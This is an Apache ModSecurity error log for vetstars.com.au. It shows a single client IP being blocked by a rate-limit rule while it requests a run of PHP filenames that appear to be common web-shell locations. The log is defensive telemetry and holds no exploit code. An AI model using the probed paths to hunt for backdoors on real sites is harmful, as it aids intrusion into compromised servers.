[Sun Mar 29 01:31:55.591105 2026] [:error] [pid 39427:tid 39451] [client 158.23.144.198:39941] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "acgQi1vLf0RDUqcYq-Y9zgAAABM"]
[Sun Mar 29 01:31:55.984877 2026] [:error] [pid 39427:tid 39442] [client 158.23.144.198:4717] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "acgQi1vLf0RDUqcYq-Y90AAAAAo"]
[Sun Mar 29 01:31:56.393994 2026] [:error] [pid 39427:tid 39439] [client 158.23.144.198:4699] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "acgQjFvLf0RDUqcYq-Y90QAAAAc"]
[Sun Mar 29 01:31:56.813453 2026] [:error] [pid 39427:tid 39435] [client 158.23.144.198:4839] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "acgQjFvLf0RDUqcYq-Y90gAAAAM"]
[Sun Mar 29 01:31:57.207803 2026] [:error] [pid 39429:tid 39501] [client 158.23.144.198:36540] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lowpr.php"] [unique_id "acgQjU8pSj6sqgZaItnW7AAAAI8"]
[Sun Mar 29 01:31:57.598836 2026] [:error] [pid 39514:tid 39539] [client 158.23.144.198:50025] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lowpr.php"] [unique_id "acgQjSkUyvlQod6qQu2LzQAAAM4"]
[Sun Mar 29 01:31:57.993998 2026] [:error] [pid 39514:tid 39533] [client 158.23.144.198:36511] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lowpr.php"] [unique_id "acgQjSkUyvlQod6qQu2LzwAAAMg"]
[Sun Mar 29 01:31:58.388952 2026] [:error] [pid 39514:tid 39542] [client 158.23.144.198:37604] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lowpr.php"] [unique_id "acgQjikUyvlQod6qQu2L0gAAANE"]
[Sun Mar 29 01:31:58.798805 2026] [:error] [pid 39429:tid 39487] [client 158.23.144.198:4784] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gfd.php"] [unique_id "acgQjk8pSj6sqgZaItnW8AAAAIE"]
[Sun Mar 29 01:31:59.198428 2026] [:error] [pid 39429:tid 39495] [client 158.23.144.198:4824] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gfd.php"] [unique_id "acgQj08pSj6sqgZaItnW9AAAAIk"]
[Sun Mar 29 01:31:59.585524 2026] [:error] [pid 39427:tid 39440] [client 158.23.144.198:4752] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gfd.php"] [unique_id "acgQj1vLf0RDUqcYq-Y92AAAAAg"]
[Sun Mar 29 01:31:59.987039 2026] [:error] [pid 39427:tid 39444] [client 158.23.144.198:61908] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gfd.php"] [unique_id "acgQj1vLf0RDUqcYq-Y92QAAAAw"]
[Sun Mar 29 01:32:00.409304 2026] [:error] [pid 39514:tid 39529] [client 158.23.144.198:4808] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/144.php"] [unique_id "acgQkCkUyvlQod6qQu2L1gAAAMQ"]
[Sun Mar 29 01:32:00.814820 2026] [:error] [pid 39514:tid 39535] [client 158.23.144.198:50014] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/144.php"] [unique_id "acgQkCkUyvlQod6qQu2L2AAAAMo"]
[Sun Mar 29 01:32:01.218455 2026] [:error] [pid 39514:tid 39530] [client 158.23.144.198:54969] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/144.php"] [unique_id "acgQkSkUyvlQod6qQu2L4QAAAMU"]
[Sun Mar 29 01:32:01.609338 2026] [:error] [pid 39427:tid 39442] [client 158.23.144.198:37526] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/144.php"] [unique_id "acgQkVvLf0RDUqcYq-Y93QAAAAo"]
[Sun Mar 29 01:32:01.998604 2026] [:error] [pid 39427:tid 39435] [client 158.23.144.198:4737] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "acgQkVvLf0RDUqcYq-Y93wAAAAM"]
[Sun Mar 29 01:32:02.384408 2026] [:error] [pid 39429:tid 39495] [client 158.23.144.198:39964] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "acgQkk8pSj6sqgZaItnW-gAAAIk"]
[Sun Mar 29 01:32:02.789152 2026] [:error] [pid 39514:tid 39525] [client 158.23.144.198:36543] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "acgQkikUyvlQod6qQu2L6AAAAME"]
[Sun Mar 29 01:32:03.189669 2026] [:error] [pid 39427:tid 39453] [client 158.23.144.198:4733] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "acgQk1vLf0RDUqcYq-Y94gAAABU"]
[Sun Mar 29 01:32:03.571880 2026] [:error] [pid 39514:tid 39532] [client 158.23.144.198:39995] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "acgQkykUyvlQod6qQu2L6wAAAMc"]
[Sun Mar 29 01:32:03.957919 2026] [:error] [pid 39429:tid 39500] [client 158.23.144.198:44999] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "acgQk08pSj6sqgZaItnW_gAAAI4"]
[Sun Mar 29 01:32:04.358973 2026] [:error] [pid 39428:tid 39479] [client 158.23.144.198:4755] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "acgQlKXMrozFMIaP8nL3KwAAAFQ"]
[Sun Mar 29 01:32:04.745159 2026] [:error] [pid 39429:tid 39502] [client 158.23.144.198:4829] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "acgQlE8pSj6sqgZaItnW_wAAAJA"]
[Sun Mar 29 01:32:05.134957 2026] [:error] [pid 39429:tid 39507] [client 158.23.144.198:36524] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "acgQlU8pSj6sqgZaItnXAAAAAJU"]
[Sun Mar 29 01:32:05.520943 2026] [:error] [pid 39428:tid 39467] [client 158.23.144.198:37568] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "acgQlaXMrozFMIaP8nL3LgAAAEg"]
[Sun Mar 29 01:32:05.917454 2026] [:error] [pid 39429:tid 39503] [client 158.23.144.198:36502] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "acgQlU8pSj6sqgZaItnXAgAAAJE"]
[Sun Mar 29 01:32:06.302515 2026] [:error] [pid 39514:tid 39542] [client 158.23.144.198:4724] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "acgQlikUyvlQod6qQu2L-wAAANE"]
[Sun Mar 29 01:32:06.723325 2026] [:error] [pid 39514:tid 39533] [client 158.23.144.198:54937] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/baixy.php"] [unique_id "acgQlikUyvlQod6qQu2L_AAAAMg"]
[Sun Mar 29 01:32:07.120227 2026] [:error] [pid 39428:tid 39480] [client 158.23.144.198:37544] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/baixy.php"] [unique_id "acgQl6XMrozFMIaP8nL3MgAAAFU"]
[Sun Mar 29 01:32:07.509325 2026] [:error] [pid 39428:tid 39476] [client 158.23.144.198:43551] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/baixy.php"] [unique_id "acgQl6XMrozFMIaP8nL3NwAAAFE"]
[Sun Mar 29 01:32:07.927728 2026] [:error] [pid 39429:tid 39492] [client 158.23.144.198:50033] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/baixy.php"] [unique_id "acgQl08pSj6sqgZaItnXBwAAAIY"]
[Sun Mar 29 01:32:08.325720 2026] [:error] [pid 39429:tid 39495] [client 158.23.144.198:4818] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acgQmE8pSj6sqgZaItnXCAAAAIk"]
[Sun Mar 29 01:32:08.712484 2026] [:error] [pid 39428:tid 39470] [client 158.23.144.198:4779] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acgQmKXMrozFMIaP8nL3PQAAAEs"]
[Sun Mar 29 01:32:09.101269 2026] [:error] [pid 39429:tid 39504] [client 158.23.144.198:63698] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acgQmU8pSj6sqgZaItnXDAAAAJI"]
[Sun Mar 29 01:32:09.494674 2026] [:error] [pid 39429:tid 39490] [client 158.23.144.198:37504] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acgQmU8pSj6sqgZaItnXEAAAAIQ"]
[Sun Mar 29 01:32:09.894126 2026] [:error] [pid 39429:tid 39493] [client 158.23.144.198:4836] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "acgQmU8pSj6sqgZaItnXEgAAAIc"]
[Sun Mar 29 01:32:10.294789 2026] [:error] [pid 39429:tid 39492] [client 158.23.144.198:49532] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "acgQmk8pSj6sqgZaItnXFgAAAIY"]
[Sun Mar 29 01:32:10.686730 2026] [:error] [pid 39429:tid 39504] [client 158.23.144.198:4692] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "acgQmk8pSj6sqgZaItnXGQAAAJI"]
[Sun Mar 29 01:32:11.086691 2026] [:error] [pid 39514:tid 39532] [client 158.23.144.198:37516] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "acgQmykUyvlQod6qQu2MAAAAAMc"]
[Sun Mar 29 01:32:11.504542 2026] [:error] [pid 39514:tid 39525] [client 158.23.144.198:63724] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/callback.php"] [unique_id "acgQmykUyvlQod6qQu2MAQAAAME"]
[Sun Mar 29 01:32:11.913443 2026] [:error] [pid 39514:tid 39546] [client 158.23.144.198:37585] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/callback.php"] [unique_id "acgQmykUyvlQod6qQu2MAgAAANU"]
[Sun Mar 29 01:32:12.345319 2026] [:error] [pid 39427:tid 39443] [client 158.23.144.198:4750] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/callback.php"] [unique_id "acgQnFvLf0RDUqcYq-Y97wAAAAs"]
[Sun Mar 29 01:32:12.741840 2026] [:error] [pid 39514:tid 39528] [client 158.23.144.198:39962] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/callback.php"] [unique_id "acgQnCkUyvlQod6qQu2MBQAAAMM"]
[Sun Mar 29 01:32:13.164547 2026] [:error] [pid 39514:tid 39535] [client 158.23.144.198:37889] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "acgQnSkUyvlQod6qQu2MBgAAAMo"]
[Sun Mar 29 01:32:13.559689 2026] [:error] [pid 39514:tid 39545] [client 158.23.144.198:61903] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "acgQnSkUyvlQod6qQu2MBwAAANQ"]
[Sun Mar 29 01:32:13.974466 2026] [:error] [pid 39427:tid 39447] [client 158.23.144.198:37513] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "acgQnVvLf0RDUqcYq-Y98gAAAA8"]
[Sun Mar 29 01:32:14.379433 2026] [:error] [pid 39514:tid 39541] [client 158.23.144.198:4799] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "acgQnikUyvlQod6qQu2MCwAAANA"]
[Sun Mar 29 01:32:14.777171 2026] [:error] [pid 39429:tid 39499] [client 158.23.144.198:43562] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "acgQnk8pSj6sqgZaItnXLgAAAI0"]
[Sun Mar 29 01:32:15.171509 2026] [:error] [pid 39514:tid 39540] [client 158.23.144.198:4782] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "acgQnykUyvlQod6qQu2MDgAAAM8"]
[Sun Mar 29 01:32:15.552850 2026] [:error] [pid 39514:tid 39538] [client 158.23.144.198:4833] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "acgQnykUyvlQod6qQu2MEAAAAM0"]
[Sun Mar 29 01:32:15.954905 2026] [:error] [pid 39514:tid 39531] [client 158.23.144.198:37545] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "acgQnykUyvlQod6qQu2MFAAAAMY"]
[Sun Mar 29 01:32:16.349685 2026] [:error] [pid 39514:tid 39541] [client 158.23.144.198:50023] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws49.php"] [unique_id "acgQoCkUyvlQod6qQu2MFwAAANA"]
[Sun Mar 29 01:32:16.758802 2026] [:error] [pid 39514:tid 39536] [client 158.23.144.198:37584] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws49.php"] [unique_id "acgQoCkUyvlQod6qQu2MGgAAAMs"]
[Sun Mar 29 01:32:17.161866 2026] [:error] [pid 39514:tid 39539] [client 158.23.144.198:4713] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws49.php"] [unique_id "acgQoSkUyvlQod6qQu2MHwAAAM4"]
[Sun Mar 29 01:32:17.554312 2026] [:error] [pid 39429:tid 39501] [client 158.23.144.198:42040] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws49.php"] [unique_id "acgQoU8pSj6sqgZaItnXMwAAAI8"]
[Sun Mar 29 01:32:17.948770 2026] [:error] [pid 39429:tid 39498] [client 158.23.144.198:49516] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "acgQoU8pSj6sqgZaItnXNwAAAIw"]
